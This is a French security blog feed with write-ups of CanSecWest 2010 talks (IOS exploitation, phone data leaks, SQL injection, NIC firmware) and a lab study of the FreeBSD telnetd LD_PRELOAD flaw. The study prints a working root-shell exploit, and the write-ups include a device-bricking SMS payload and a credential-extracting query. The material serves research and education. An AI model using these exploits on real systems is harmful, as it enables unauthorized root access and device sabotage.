...&lt;/p&gt;


&lt;p&gt;Ensuite même chose, mais contre Preview (viewer PDF sous Mac OS).
Ensuite même chose, mais contre les fichiers PPT d'OpenOffice.
Ensuite même chose, mais contre les fichiers PPT d'Office.&lt;/p&gt;


&lt;p&gt;L'orateur a fini par faire un check lui-même pour vérifier l'exploitabilité de ce qu'il a trouvé. Il est souvent d'accord avec le résultat de Crashwrangler. L'autre programme pour tester s'appelle !exploitable et donne des résultats moins fiables.&lt;/p&gt;


&lt;p&gt;Conclusion&amp;nbsp;: plus on fait d'itérations sur ces 5 lignes de Python, plus ou trouve de bugs exploitables. L'idée intéressante ici était de prendre des fichiers valides, et de modifier 1 byte de manière aléatoire dans chacun de ceux-ci, et d'itérer sur chacun un grand nombre de fois pour avoir le plus grand nombre de fichiers de fuzzinga différents. Mais l'orateur arrive à une conclusion étonnante&amp;nbsp;: les outils qu'il utilise ne sont pas doués pour détecter les erreurs et l'exploitabilité ... Beaucoup de chiffres affichés, difficile de tirer une conclusion claire.&lt;/p&gt;


&lt;p&gt;ooo
Un gars éteint son ordinateur portable sous Windows. Je vois l'écran de mise à jour&amp;nbsp;: 72 patchs restants ...
ooo&lt;/p&gt;


&lt;h2&gt;12:30 - 13:30 	Lunch&lt;/h2&gt;


&lt;h2&gt;13:30 - 14:30 	ShareREing is Caring - Halvar Flake and Sebastian Porst, zynamics GmbH&lt;/h2&gt;


&lt;p&gt;EScript.api (Adobe Reader JavaSript Engine). Le talk est a propos d'un plugin IDA Pro nommée BinCrowd. BinCrowd a permis de détecter que c'est en fait l'engine SpiderMonkey qui est derrière EScript.api. Cela a été possible sans le code source associé.&lt;/p&gt;


&lt;p&gt;L'idée est de trouver les programmes intégrant les mêmes bibliothèques non-dynamiques dans leur code. Ainsi, si on trouve une faille dans un programme A qui intègre une bibliothèque vulnérable, on peut trouver les autres programmes qui ont aussi cette faille.&lt;/p&gt;


&lt;p&gt;S'ensuit une description de l'algorithme permettant l'identification de duplication de bibliothèque. C'est une fonction de hash pour un graphe. Ainsi, une comparaison numéraire est possible. Mais en fait, a l'usage, cela se montre trop limité, et il est nécessaire de développer un algo pour gérer un callgraph complet avec les adresses de fonctions associées.&lt;/p&gt;


&lt;p&gt;BinCrowd est aussi une solution pour faire du RE entre équipes qui ont un différent niveau d'accréditation. Les données sensibles ne peuvent être transmises entre équipes qui ne possède pas le même niveau. Ainsi, il est possible de partager le travail, mais pas les données sensibles. Cela fonctionne comme un middleware, avec une base de données centrale, et un contrôle du transfert des informations.&lt;/p&gt;


&lt;p&gt;Tout le monde peut utiliser BinCrowd, le plugin (opensource?) ainsi qu'un compte sont nécessaires.&lt;/p&gt;


&lt;h2&gt;14:30 - 15:30 	Cisco IOS Exploitation with IODIDE - Andy Davis, KPMG&lt;/h2&gt;


&lt;p&gt;Il fait de la rechercher sécurité chez KPMG en Angleterre.
IODIDE est un IOS débogueur et un Integrated Disassembler Environment écrit en Python. Il communique avec IOS via le remote gdb intégré. Il a une interface graphique.
S'ensuit une explication du fonctionnement du gdb Cisco (qui varie au niveau du remote protocole par rapport à celui d'un gdb standard).
Le gdb Cisco ne supporte qu'un nombre limité de commandes. On peut s'y connecter via IP où un accès port série.&lt;/p&gt;


&lt;p&gt;Démo.&lt;/p&gt;


&lt;p&gt;Grâce à cet outil, on peut utiliser un débogueur ressemblant à OllyDbg pour voir l'état des registres, les exceptions, l'état de la pile, ainsi que le code désassemblé ... le tout en remote. Le débogueur a vraiment l'air puissant. Recherche de données en mémoire. Obtention de la liste des process. Affichage de la configuration Cisco actuelle. On peut aussi modifier les registres et la mémoire.
L'environnement de désassemblage est pas mal non-plus, il permet d'ajouter des commentaires de manière simple.&lt;/p&gt;


&lt;p&gt;Ensuite un historique des failles IOS. Stack et heap overflows. Format string (mais seulement fuite d'information, pas de %n chez IOS).
Mike Lynn a été le premier à créer un shellcode pour IOS (un connect-back shellcode) mais qui n'a jamais été diffusé.&lt;/p&gt;


&lt;p&gt;IOS est un gros binaire ELF dont toutes les fonctions ont des adresses différentes en fonction de la version d'IOS. Le processeur est du PowerPC.
Identifier la version exacte est très difficile. Si l'ont utilise une adresse incorrecte lors d'une tentative d'exploitation, le router reboute.&lt;/p&gt;


&lt;p&gt;Étude de cas sur une faille dans le serveur FTP. Un stack overflow dans le verbe MKD. S'ensuit une explication de l'exploitation des stack overflow sur architecture PowerPC. L'équivalent de EIP sous x86 est ici LR (Link Register). L'adresse que nous souhaitons utiliser pour lancer le shellcode se retrouvera dans le PC (Program Counter).&lt;/p&gt;


&lt;p&gt;Le shellcode devra supprimer le prompt pour un password au login, et donner un accès &quot;level 15&quot; équivalent à root. Et surtout, sortir de manière propre sans crasher le routeur. Pour supprimer le password prompt, il écrit la valeur 1 à un offset. Pour accroitre les privilèges, il écrit la valeur 0x1f000000 à un autre offset. Pour sortir de manière propre, il fait l'équivalent d'un kill(-1), pour se tuer lui-même. Mais ca ne coupe que la connexion, pas le service FTP.&lt;/p&gt;


&lt;p&gt;Il a diffusé un shellcode (cassé) en juillet 2008.
Maintenant, il utilise un méthode return-oriented programming. Il utilise le propre code PowerPC pour écrire une adresse où il veut.
En 2 paquets, il obtient la suppression du password prompt, et l'élévation de privilèges. Mais il utilise des adresses hard-codées.&lt;/p&gt;


&lt;p&gt;Utilisation du syscall #34 pour accéder à la chaine de version IOS. Utilise la fonction send() pour retourner l'info via la socket ouverte.&lt;/p&gt;


&lt;p&gt;Démo. Via IODIDE (Exploit Edition), il exploite la faille. Pas mal.&lt;/p&gt;


&lt;p&gt;Conclusion&amp;nbsp;: excellent outil de débogage et désassemblage. A mon avis excellent pour écrire des exploits IOS. Pas grand monde fait de la recherche sur l'exploitation IOS; plein de boulot en perspective dans le domaine. IODIDE ne supporte que PowerPC pour le moment. Il sera releasé en open source (mais pas l'Exploit Edition).&lt;/p&gt;


&lt;h2&gt;15:30 - 16:00 	Break&lt;/h2&gt;


&lt;h2&gt;16:00 - 17:00 	Random tales from a mobile phone hacker - Collin Mulliner&lt;/h2&gt;


&lt;p&gt;Checheur en sécurité sur les appareils mobiles. Tout ce qui possède une carte SIM.&lt;/p&gt;


&lt;p&gt;Découverte de fuite d'information et exploitation à l'aide d'URI &quot;from hell&quot; principalement.
Tout d'abord fuite d'information par connexion à des sites Web via le navigateur intégré au téléphone mobile. Aujourd'hui les téléphones ont un vrai navigateur (WAP est mort), et l'accès au Web est populaire.&lt;/p&gt;


&lt;p&gt;- MSISDN&amp;nbsp;: numéro de téléphone.
- IMSI&amp;nbsp;: SIM card ID
- IMEI&amp;nbsp;: phone ID&lt;/p&gt;


&lt;p&gt;Rumeur&amp;nbsp;: certains téléphones feraient fuir des infos privées via les en-têtes HTTP.
Du coup, il a mis un place un logging systématique des en-têtes HTTP sur son serveur Web qui est assez populaire. Il peut collecter des données pour vérifier.
Quelques exemples&amp;nbsp;:
- Rogers&amp;nbsp;: opérateur Canadien révèle le MSISDN.
- H3G Italie&amp;nbsp;: révèle aussi le MSISDN.
- Vodafone aussi.
- Orange UK aussi, et bien plus encore.
- Pelephone, Israel, fait fuir le MSISDN, l'IMSI et l'IMEI clairement dans les en-têtes.&lt;/p&gt;


&lt;p&gt;Et l'énumération continue, c'est l'hécatombe.
Certains encodent l'info en Hex ^^
D'autres infos souvent remontées&amp;nbsp;: customer ID, point de connexion (APN).&lt;/p&gt;


&lt;p&gt;Apparemment, les téléphones n'ont pas ces infos, elles sont donc ajoutées par un proxy/gateway de l'opérateur. Le sujet des Web proxy de téléphones semble compliqué.&lt;/p&gt;


&lt;p&gt;Démo. Une liste d'information capturées avec des statistiques.&lt;/p&gt;


&lt;p&gt;L'orateur trouve étonnant que ces fuites d'informations n'aient pas eu une plus grande attention médiatique.&lt;/p&gt;


&lt;p&gt;L'orateur fournit un lien pour valider son opérateur (sans qu'il ne logue, rires)&amp;nbsp;: http://www.mulliner.org/pc.cgi&lt;/p&gt;


&lt;p&gt;Ensuite on passe au hack du Kindle. Il possède une carte SIM qui marche sur tout téléphone, mais sans voix ni SMS. On peut seulement accéder au net via un proxy hardcodé chez amazon.com. Le trafic est rejeté si il ne vient pas du navigateur du Kindle. Mais comment&amp;nbsp;?
Utilisation de privoxy (ou Modify Header) pour ajouter un en-tête x-fsn. L'outil Tethering implémente ca. Le hack permet un accès complet à Internet.&lt;/p&gt;


&lt;p&gt;Ensuite il passe a Digital Picture Frame (HUAWEI DP230). Il a un modem et une carte SIM et un numéro de téléphone ... Désossage, branchement sur le port série puis accès shell (admin:admin). Il peut recevoir des SMS et possède un accès GPRS. Un SMS en XML permet de modifier la conf de l'appareil, comme par exemple modifier l'image de fond. Il doit par contre être originaire d'un numéro spécifique. Spoofer ce numéro est assez facile. Des services en ligne le fond pour pas cher.
C'est le download des binaires qui a permis de reverser ce fonctionnement.&lt;/p&gt;


&lt;p&gt;Quelques attaques:
- désactiver l'accès Internet &quot;&amp;lt;req&amp;gt;&amp;lt;GPRS apn=&quot;brick&quot;/&amp;gt;&amp;lt;/req&amp;gt;&quot;
- effacer toutes les images&lt;/p&gt;


&lt;p&gt;Conclusion&amp;nbsp;: les numéros assignés par les opérateurs sont guessable. On peut bricker tout un parc de machine de ce genre en brute-forçant un petit espace de numéros.&lt;/p&gt;


&lt;p&gt;Il passe ensuite sur les cartes pré-payées. Quand le compte est vide, le trafic est redirigé vers un portail Web pour la recharge. On peut faire du DNS tunnel comme ca ^^ mais c'est identifiable par l'opérateur à cause de la nécessité d'avoir un endpoint DNS. Ça reste du tunnel DNS sur une connexion 3G, les performances ne sont pas super.&lt;/p&gt;


&lt;p&gt;Maintenant les URIs from hell&amp;nbsp;: des protocoles spéciaux implémentés dans les navigateurs des téléphones. C'est facile de faire crasher un téléphone avec du JavaScript embarqué dans un site Web malicieux, les téléphones trouvant automatiquement les URI qui les intéressent. Pour l'iPhone, une attaque permet le lancement d'un appel automatique via un iframe et un URI de type &quot;sms:&quot; ou &quot;tel:&quot; (&amp;lt;iframe src=&quot;sms:numéro&quot; ...&amp;gt;). Avec une chaine trop longue dans le &quot;sms:&quot; URI, le téléphone freeze (CVE-2009-0961). Pour l'instant, ca fait juste apparaitre la fenêtre d'envoi de SMS ou d'appel. Pas d'automatisation possible.&lt;/p&gt;


&lt;p&gt;Conclusion&amp;nbsp;: il n'y a pas que les smartphones dans la vie, il faut penser aussi aux simples? téléphones, aux réseaux des opérateurs mobiles et au &quot;Consumer Electronics Devices&quot;.&lt;/p&gt;


&lt;h2&gt;17:00 - 18:00 	Legal Perspectives of Hardware Hacking - Jennifer Granick, EFF&lt;/h2&gt;


&lt;p&gt;Présentation orientée lois aux US. Mais utile, car si on enfreint les lois US depuis un autre pays, on peut être poursuivi en posant les pieds chez eux (en gros).
L'EFF travail sur le droit des développeurs, sur les DRM, ...&lt;/p&gt;


&lt;p&gt;Nouveauté&amp;nbsp;: accéder à du software embarqué viol le DMCA.&lt;/p&gt;


&lt;p&gt;Elle n'aborde pas les violations de brevets, ni les &quot;trade secrets&quot;. Les présentation est donc orientée violation du DMCA.
Quelques exemples&amp;nbsp;: iPhone jailbreaking, calculatrices TI, Kindle
Souvent, les attaques s'articulent autour de la signature des composants (la chaine de confiance TPM). Et donc à une attaque ciblée sur les clés de signature. Pour le Kindle, c'est une méthode pour contourner le DRM.&lt;/p&gt;


&lt;p&gt;Note&amp;nbsp;: pour la calculatrice TI&amp;nbsp;: la clé privée est dérivée de la clé publique :)
Le fait que les clés de signatures soit faibles n'entre pas en compte lors d'une poursuite judiciaire.&lt;/p&gt;


&lt;p&gt;Ce qu'il faut retenir&amp;nbsp;:
- éviter de cliquer pour accepter le EULA
- avoir l'autorisation du fabriquant du produit
- et d'autres encore.&lt;/p&gt;


&lt;p&gt;Un talk sur la légalité que je n'ai pas vraiment suivi.&lt;/p&gt;


&lt;p&gt;Question ouverte&amp;nbsp;: pourquoi dans toutes les conférences de sécurité, la seule femme qui présente parle des aspects légaux&amp;nbsp;?&lt;/p&gt;


&lt;h2&gt;18:00 - 19:00 	Lightning Talks - Various&lt;/h2&gt;


&lt;p&gt;ooo
La fille qui s'occupe de faire le gong entre les talks boit une bière. Elle prend une pause comme dans une pub. D'ailleurs, les gens qui font un lightning talk ont le droit à une bière.
ooo&lt;/p&gt;


&lt;p&gt;- CSP (Content Security Policy)
- URL shorteners (utilisation d'encoder de shellcode alphanumeric pour les URI véhiculant un exploit genre smb://long_string, et on place dans un URL shortener, et ca passe) (Saumil Shah)
- Waledac Botnet (Thorsten Holz) Attaque Sybil pour couper une partie du réseau P2P.
- 2600 Hz or not, Jon Van Boxtel&lt;/p&gt;


&lt;p&gt;Saumil gagne le prix du meilleur talk.&lt;/p&gt;


&lt;h2&gt;20:00 - 1:00 	Party Venue TBA&lt;/h2&gt;</description>
    
    
    
          <comments>http://www.protocol-hacking.org/post/2010/04/12/Compte-rendu-CanSecWest-2010-jour-2#comment-form</comments>
      <wfw:comment>http://www.protocol-hacking.org/post/2010/04/12/Compte-rendu-CanSecWest-2010-jour-2#comment-form</wfw:comment>
      <wfw:commentRss>http://www.protocol-hacking.org/feed/rss2/comments/13</wfw:commentRss>
      </item>
    
  <item>
    <title>Compte-rendu CanSecWest 2010 - jour 1</title>
    <link>http://www.protocol-hacking.org/post/2010/04/06/Compte-rendu-CanSecWest-2010-jour-1</link>
    <guid isPermaLink="false">urn:md5:f4660bdca4bb1d859dcca647a874a4a9</guid>
    <pubDate>Mon, 05 Apr 2010 20:43:00 +0200</pubDate>
    <dc:creator>GR</dc:creator>
        <category>Compte-rendu</category>
        <category>CanSecWest</category><category>conférence</category>    
    <description>    &lt;h3&gt;Wednesday March 24&lt;/h3&gt;


&lt;p&gt;La matinée de cette première journée est consacrée à l'enregistrement des participants. Environ 500 personnes présentes dans la salle.&lt;/p&gt;



&lt;h2&gt;13:00 - 14:00   Internet Nails Marcus Ranum, Tenable&lt;/h2&gt;


&lt;p&gt;Une histoire de bad software engineering et de bad design&amp;nbsp;; où comment une petite erreur de design peut couter très cher.
En 1971, FTP est inventé et codé. Les premières versions de transport d'email était faite via FTP.
En 1976, NCP. Qui était l'ancêtre de TCP. Fonctionnement a sens unique, pas encore de full-duplex.
Suivi d'une explication sur le fonctionnement de FTP.&lt;/p&gt;


&lt;p&gt;Question clé&amp;nbsp;: peut-on parler de design pour FTP dans un monde de software a cet époque&amp;nbsp;?&lt;/p&gt;


&lt;p&gt;Puis, description sur la difficulté de faire fonctionner FTP au travers d'un firewall.
Blabla sur l'introduction des firewalls. Le premier produit commercialisé en 1991 coutait $175,000.
L'idée est que le design de FTP de l'époque coute des millions aujourd'hui, a cause de la
difficulté de filtrage de ce protocole au niveau firewall.
Puis une autre histoire&amp;nbsp;: pour décharger le noyau, les Sockets BSD furent introduit. Le but était d'accepter un plus grand nombre de connections. Mais il fallait garder une table des sockets ouvertes, et cela n'a pas protégé contre le SYN flooding. En 1995, le protocole HTTP a été imaginé pour être stateless, aussi pour décharger le noyau. HTTP fonctionne en ouvrant de nombreuses connections TCP short-lived. Ce fut lent, et les codeurs de navigateurs Web décidèrent de faire ces connections en parallèle ...&lt;/p&gt;


&lt;p&gt;Résultat&amp;nbsp;: du surf plus rapide, mais plus de load sur le réseau et le serveur.&lt;/p&gt;


&lt;p&gt;Aujourd'hui, on a amélioré le code gérant les short-lived connections pour résoudre ces problèmes.
En 1997, le E-commerce. Problème avec HTTP, aucun état n'est maintenu, et c'est devenu nécessaire (gestion de l'authentification, garder la liste des courses ...). Ainsi des frameworks de développement furent introduit pour garder l'état des connexions via un session management. Tout cela, parce que HTTP a été designé pour être stateless. Quel coup pour tout ceci&amp;nbsp;? Sans compter les erreurs de codage menant à toutes les failles que l'on connait.
Vient ensuite la gestion de la charge. Chaque load balancer doit garder l'état pour savoir où rediriger les requêtes et éviter de briser l'état de la session.
Tout cela alors que TCP/IP sait déjà gérer l'état d'une session ... et en plus de ré-implémenter une gestion de session, nous avons de nouvelles classes de vulnérabilités (XSS, XSRF, ...).&lt;/p&gt;


&lt;p&gt;Conclusion&amp;nbsp;: un mauvais design coute extrêmement cher. D'où l'idée de développer le &quot;design intelligent&quot; mais par un visionnaire omniscient. Le soft est au coeur de tout, on doit faire mieux, être moins concernés par le &quot;backward compatibility&quot; et être plus au fait des conséquences d'une petite décision de design.&lt;/p&gt;


&lt;h2&gt;14:00 - 15:00   Under the Kimono of Office Security Engineering - Tom Gallagher &amp;amp; David Conger, Microsoft&lt;/h2&gt;


&lt;p&gt;Respectivement Senior Security Test leader et Software Design Engineer.
Historique des menaces&amp;nbsp;: macro virus principalement. Avant 2006, tèrs peu d'attaques sur le format des documents eux-même. Quand Microsoft a vu que les failles commençaient a être commercialisées, ils ont décidé d'investir pour éviter les failles dès le début.
Nouvelles organisation&amp;nbsp;: chaque produit à une liste de contacts sécurité. Chaque produit à une liste de feature owner.&lt;/p&gt;


&lt;p&gt;1. Harden the attack surface&amp;nbsp;: suivre le SDL, automatiser la revue de code, SafeInt?, suppression des vieux parseurs (exemple&amp;nbsp;: 3 parseurs différents pour JPEG), fuzzing distribué (300+ formats de fichier à supporter, certains n'étant pas simples et nécessitant des fuzzers particuliers).
Suivi d'une explication sur le fuzzing distribué, qui pourrait être utilisé pour les tests en général. L'idée est de centraliser la gestion du fuzzing&amp;nbsp;: les tests, les résultats, les erreurs et les rapports. Le but est aussi de répartir la charge pour exploiter les machines non utilisées. Microsoft a developé un client de fuzzing distribué facile à utiliser par tous les dveloppeurs. Un serveur avec interface Web centralise le tout. Une fonction intéressante permet de re-tester contre les régressions, en prenant par exemple une call stack d'erreur en input. Également la possibilité de tester les même bugs sur différents produits. Pour chaque bug trouvé, toutes les infos sont disponibles (état des registres, call stack complète ...). En gros, ils ont fait un botnet sur leur réseau qui sert à faire du fuzzing.
Ils ne se posent pas la question de l'exploitabilité d'un bug quand ils en trouvent un, ils le patch (au minimum, ca rendra le produit plus stable).&lt;/p&gt;


&lt;p&gt;2. Reduce the attack surface&amp;nbsp;: File Block (exemple: bloquer les formats non utilisés) et Gatekeeper (évaluation de la 'correctness' des fichiers à l'ouverture, avec mécanisme de mise à jour des informations de 'correctness'). Demo. En gros, ils ont mis un anti-virus dédié aux formats de fichier dans Office.&lt;/p&gt;


&lt;p&gt;3. Mitigate the Exploits&amp;nbsp;: Création d'un Office 'Protected Viewer' qui classe toutes les sources venant d'Internet comme untrusted. Architecture avec un processus Host et un processus Client.
Utilise des composants de sandboxing (isolation des processus). Ceci est géré par wwlib.dll, qui lance une instance de winword.exe dans une sandbox.&lt;/p&gt;


&lt;p&gt;4. Improve the User Experience&amp;nbsp;: l'améliorer en rapport avec la confiance. A l'avenir, en prenant l'exemple de l'ouverture d'un attachement mail&amp;nbsp;: Open &amp;gt; Gatekeeper Validation &amp;gt; Sanboxed Viewer &amp;gt; User Clicks enable &amp;gt; Document Opened. Ensuite, le user peut le sauvegarder, et le rouvrir sans ces checks.
Option très intéressante pour regarder les &quot;conneries&quot; envoyées par les potes, les documents sont vus dans la Sandbox, et ne doivent pas pouvoir abimer le système (exemple pris tel quel par l'orateur).&lt;/p&gt;


&lt;p&gt;Conclusion&amp;nbsp;: Ils ont d'abord décris un processus de tests bien fait, pas forcément orienté uniquement sécurité. Ensuite, ils ont décrits les améliorations apportées à Office qui elles ont été pensées pour la sécurité.&lt;/p&gt;


&lt;h2&gt;15:00 - 15:30   Break&lt;/h2&gt;


&lt;p&gt;Quelqu'un s'est amusé à broadcaster le SSID &quot;CanSecWest&quot;. C'était évidemment un faux.&lt;/p&gt;


&lt;h2&gt;15:30 - 16:30   Automated SQL Ownage Techniques - Fernando Federico Russ, Core&lt;/h2&gt;


&lt;p&gt;Description d'une méthode blackbox automatisée d'intrusion SQL. La vulnérabilité est exploitée de manière à éviter les &quot;False Positives&quot;.
Première étape de reconnaissance. Un web spider utilisant un MitM proxy. Reconstruction des QUERY_STRING et parfois du chemin de l'URL (cas mod_rewrite). Parcours aussi les champs HTML &amp;lt;form&amp;gt;.
Fonctionne en mode fuzzing, et peut potentiellement abimer l'application. Détection des erreurs (HTTP error codes, error strings, redirections ...).
Pour déterminer la présence d'une injection, une liste de test retournant true/false est jouée. Si true, alors on contre-test par une autre méthode pour confirmer.
C'est une technologie de type système expert.
Une autre fonction est de déterminer le type de la base de donnes (produit, version). La méthode retenue&amp;nbsp;: du brute-force sur les fonctions possibles (HEX() pour DB2, HOST_NAME() pour SQL Server, VERSION() pour MySQL, ...).
L'implémentation tourne autour d'une couche d'abstraction nommée &quot;channel&quot;. Elle fournit une API (UNION, Scalar, Blind, ...).&lt;/p&gt;


&lt;p&gt;ooo
Le téléphone rouge sonne, Charlie Miller semble avoir exploité avec succès une faille dans l'iPhone. Il gagne un truc ^^
ooo&lt;/p&gt;


&lt;p&gt;L'outil permet de savoir si la requête exploitée est de type SELECT. Il détecte la morphologie (nombre de colonnes, leur type, la visibilité dans le HTML, ...).
Un exemple d'utilisation&amp;nbsp;: remplacer la vrai requête par la notre (SELECT user,pass FROM credentials). Pour que cela marche, il faut détecter le nombre d'élément de la requête d'origine (ici 2), et leur type (ici string). Si c'est le cas, nous pouvons construire la requête de l'exemple. Si les types ne sont pas les mêmes, on peut utiliser des fonctions pour &quot;caster&quot; les valeurs.
Pour extraire toutes ces informations, une requête SQL CASE est utilisée (CASE WHEN ... THEN ... ELSE). Mais cela permet uniquement d'extraire bit par bit (un bit étant true/false).&lt;/p&gt;


&lt;p&gt;ooo
Le téléphone rouge sonne de nouveau, une nouvelle faille a été trouvée (IE? 64-bit).
ooo&lt;/p&gt;


&lt;h2&gt;16:30 - 17:30   Can you still trust your network card? - Yves-Alexis Perez &amp;amp; Loïc Duflot&lt;/h2&gt;


&lt;p&gt;Yves-Alexis et Loïc travaillent pour l'ANSSI (Agence Nationale de SSI).
Tout type de carte réseau. Leur hardware est complexe (plusieurs processeurs, différents types de mémoire, ...). Leur firmware est complexe (gestion de la segmentation TCP en offloading, remote management, ...).
Ça n'a rien a voir avec les bugs drivers ou les vulnérabilités de l'OS.
Description de l'architecture. PHY (send/recv sur le réseau), DMA-engine (send/recv sur le bus interne), negociation and link control (full-duplex, ...).
Explication pour la carte Broadcom intégrée sur certains NIC. La carte possède un processeur MIPS, le firmware permet une customisation pour processer des paquets propriétaires par exemple.
La mémoire interne de la carte est mappée sur la mémoire de la machine hôte.
Protocole ASF. La carte réseau reçoit les évènements des autres devices de la machine via SMBus. Utilisation du protocole RMCP pour rebooter et autres actions ...
ASF n'a aucune interface sécurité de prévu, et les fabriquant ne sont pas vraiment incités à en faire.&lt;/p&gt;


&lt;p&gt;ooo
Le téléphone rouge sonne&amp;nbsp;: Firefox sous Windows 7.
ooo&lt;/p&gt;


&lt;p&gt;ASF 2.0 ajoute un nouveau protocole&amp;nbsp;: RSP. Des extensions sécurité pour RMCP, comme l'authentification et le contrôle d'intégrité. Mais pas de chiffrement.
RMCP est en écoute sur 623/UDP. La version secure sur 664/UDP.
Broadcom fournit un outil de configuration ASF.
Ces paquets UDP ne sont jamais vu par l'OS, puisque interceptés par la carte réseau avant.&lt;/p&gt;


&lt;p&gt;Vulnérabilité potentielle sur le protocole d'authentification (réduction de l'entropie).
Problème d'implémentation sur le username (CVE-2010-0104), limité à 16 caractères sans null byte avec 1 byte pour spécifier sa longueur. Nécessité de déboguer la carte réseau par un débogueur de NIC (accès aux registres du processeur MIPS). Ils ont développé un débogueur NIC maison. Ils ont ensuite pu écrire un exploit pour la faille trouvée dans la gestion du champ username. Comme il n'y a que 255 octets (moins le padding) pour placer le shellcode de l'exploit, ils utilisent l'accès aux network buffers pour placer leur shellcode. En effet, le NIC est le mieux placé pour accéder aux network buffers.
NIC utilise le DMA engine&amp;nbsp;; il peut donc lire et écrire la mémoire de la machine hôte. Un paquet réseau exploitant une faille peut donc être utilisé pour écrire des données dans la mémoire de la machine hôte sans contrôler son OS.&lt;/p&gt;


&lt;p&gt;Suivi d'une démo sur l'amélioration de leur exploit&amp;nbsp;: lancement des paquets RMCP exploitant la faille. Puis d'un message ICMP magique. Enfin, un rootshell en écoute sur le port 2 est activé. De plus, faire un ps sur la machine victime montre juste un shell, et un khelper (donc, attaque assez stealth).&lt;/p&gt;


&lt;p&gt;Note&amp;nbsp;: Le débogueur accède aux registres de la NIC via le driver local qui lui, à accès aux registres du processeur de la carte NIC via un mapping mémoire. Pas besoin de JTAG et compagnie.&lt;/p&gt;


&lt;p&gt;Conclusion&amp;nbsp;: Ce n'est pas encore le moment de paniquer. Peu de cartes supportent ASF, et encore moins l'ont activé par défaut.&lt;/p&gt;</description>
    
    
    
          <comments>http://www.protocol-hacking.org/post/2010/04/06/Compte-rendu-CanSecWest-2010-jour-1#comment-form</comments>
      <wfw:comment>http://www.protocol-hacking.org/post/2010/04/06/Compte-rendu-CanSecWest-2010-jour-1#comment-form</wfw:comment>
      <wfw:commentRss>http://www.protocol-hacking.org/feed/rss2/comments/12</wfw:commentRss>
      </item>
    
  <item>
    <title>Wohaaa, un remote root old school :)</title>
    <link>http://www.protocol-hacking.org/post/2009/02/26/Wohaaa-un-remote-root-old-school-%3A</link>
    <guid isPermaLink="false">urn:md5:8b6682704f71048c1b431ac8c8701346</guid>
    <pubDate>Wed, 10 Jun 2009 21:49:00 +0200</pubDate>
    <dc:creator>GR</dc:creator>
        <category>Vulnérabilité</category>
        <category>FreeBSD</category><category>telnet</category><category>telnetd</category>    
    <description>    &lt;p&gt;Le 16 février 2009, une vulnérabilité &lt;em&gt;old school&lt;/em&gt; est tombée sur &lt;em&gt;telnetd&lt;/em&gt; de FreeBSD [1]. L'inventeur de la faille (Kingcope) a émis l'hypothèse d'une exploitation possible en &lt;em&gt;remote&lt;/em&gt;. Je vous propose d'étudier la faisabilité de l'idée.&lt;/p&gt;


&lt;p&gt;Première chose, avoir un FreeBSD vulnérable [2]. Ça tombe bien, j'ai un &lt;em&gt;7.1-RELEASE&lt;/em&gt; qui traine dans une VM. On active tout d'abord le &lt;em&gt;telnetd&lt;/em&gt; dans &lt;em&gt;/etc/inetd.conf&lt;/em&gt;, et on démarre &lt;em&gt;inetd&lt;/em&gt;. Mais qui ose encore activer &lt;em&gt;telnetd&lt;/em&gt;, si ce n'est pour exploiter des vulnérabilités ou pour prouver que c'est un protocole &lt;em&gt;clear-text&lt;/em&gt;&amp;nbsp;? Ben y'a quand même des gens (&lt;em&gt;hint&lt;/em&gt;&amp;nbsp;: scannez Internet).&lt;/p&gt;


&lt;p&gt;Deuxième chose, pouvoir compiler du code exécutable par un FreeBSD/x86. J'ai ça aussi. L' &lt;em&gt;exploit&lt;/em&gt; est on ne peut plus trivial&amp;nbsp;:&lt;/p&gt;

&lt;pre&gt;
// FreeBSD telnetd local/remote privilege escalation/code execution
// remote root only when accessible ftp or similar available
// tested on FreeBSD 7.0-RELEASE
// by Kingcope/2009

#include &amp;lt;unistd.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;sys/types.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;

void _init() {
   FILE *f;
   setenv(&amp;quot;LD_PRELOAD&amp;quot;, &amp;quot;&amp;quot;, 1);
   system(&amp;quot;echo GomoR was here;/bin/sh&amp;quot;);
}
&lt;/pre&gt;


&lt;p&gt;Je passe les détails sur comment compiler ce code, c'est expliqué dans le message de Kingcope. Par contre, une explication rapide sur le contenu. La fonction &lt;em&gt;_init()&lt;/em&gt; est une fonction appelée par tous les binaires (au moins ceux au format &lt;em&gt;ELF&lt;/em&gt;). Pour être exact, la fonction &lt;em&gt;_init()&lt;/em&gt; est intégré dans la section &lt;em&gt;.init&lt;/em&gt; du binaire à la compilation. Cette section contient des fonctions qui seront exécutées au démarrage du binaire. Voyez ci-dessus la sortie de la commande &lt;em&gt;objdump&lt;/em&gt; attestant que le binaire &lt;em&gt;telnetd&lt;/em&gt; possède une section &lt;em&gt;.init&lt;/em&gt;&amp;nbsp;:&lt;/p&gt;

&lt;pre&gt;
% objdump -h /usr/libexec/telnetd |grep init
  9 .init         00000011  08049cf0  08049cf0  00001cf0  2**2
&lt;/pre&gt;


&lt;p&gt;Dans notre cas, la nouvelle fonction &lt;em&gt;_init()&lt;/em&gt; va exécuter un &lt;em&gt;shell&lt;/em&gt;. Maintenant, ça ne constitue pas une faille en soit, vous me direz. C'est là qu'intervient la variable d'environnement &lt;em&gt;LD_PRELOAD&lt;/em&gt;. Cette variable permet de charger une nouvelle bibliothèque avant l'exécution d'un programme, pour &quot;écraser&quot; une fonction interne de ce programme. Notre &lt;em&gt;exploit&lt;/em&gt; va ainsi remplacer la fonction &lt;em&gt;_init()&lt;/em&gt; du binaire &lt;em&gt;telnetd&lt;/em&gt; par la sienne, qui exécute un &lt;em&gt;shell&lt;/em&gt;. Il va également supprimer cette variable d'environnement, sinon nous avons une jolie boucle infinie de chargement de la bibliothèque. Mais pour que ça marche, il faut aussi que le binaire &quot;victime&quot; soit compilé en dynamique&amp;nbsp;:&lt;/p&gt;

&lt;pre&gt;
% file /usr/libexec/telnetd        
/usr/libexec/telnetd: ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD), for FreeBSD 7.1, dynamically linked (uses shared libs), FreeBSD-style, stripped
&lt;/pre&gt;


&lt;p&gt;Parfait. Là encore, ça ne constitue pas une faille en soit. La vraie faille est que &lt;em&gt;telnetd&lt;/em&gt; ne nettoie pas bien toutes ses variables d'environnement (fournies soit par le &lt;em&gt;shell&lt;/em&gt; appelant, soit par le protocole &lt;em&gt;telnet&lt;/em&gt;, nous y reviendrons). Les failles &lt;em&gt;LD_PRELOAD&lt;/em&gt;, ça, c'est du &lt;em&gt;old school&lt;/em&gt;.&lt;/p&gt;


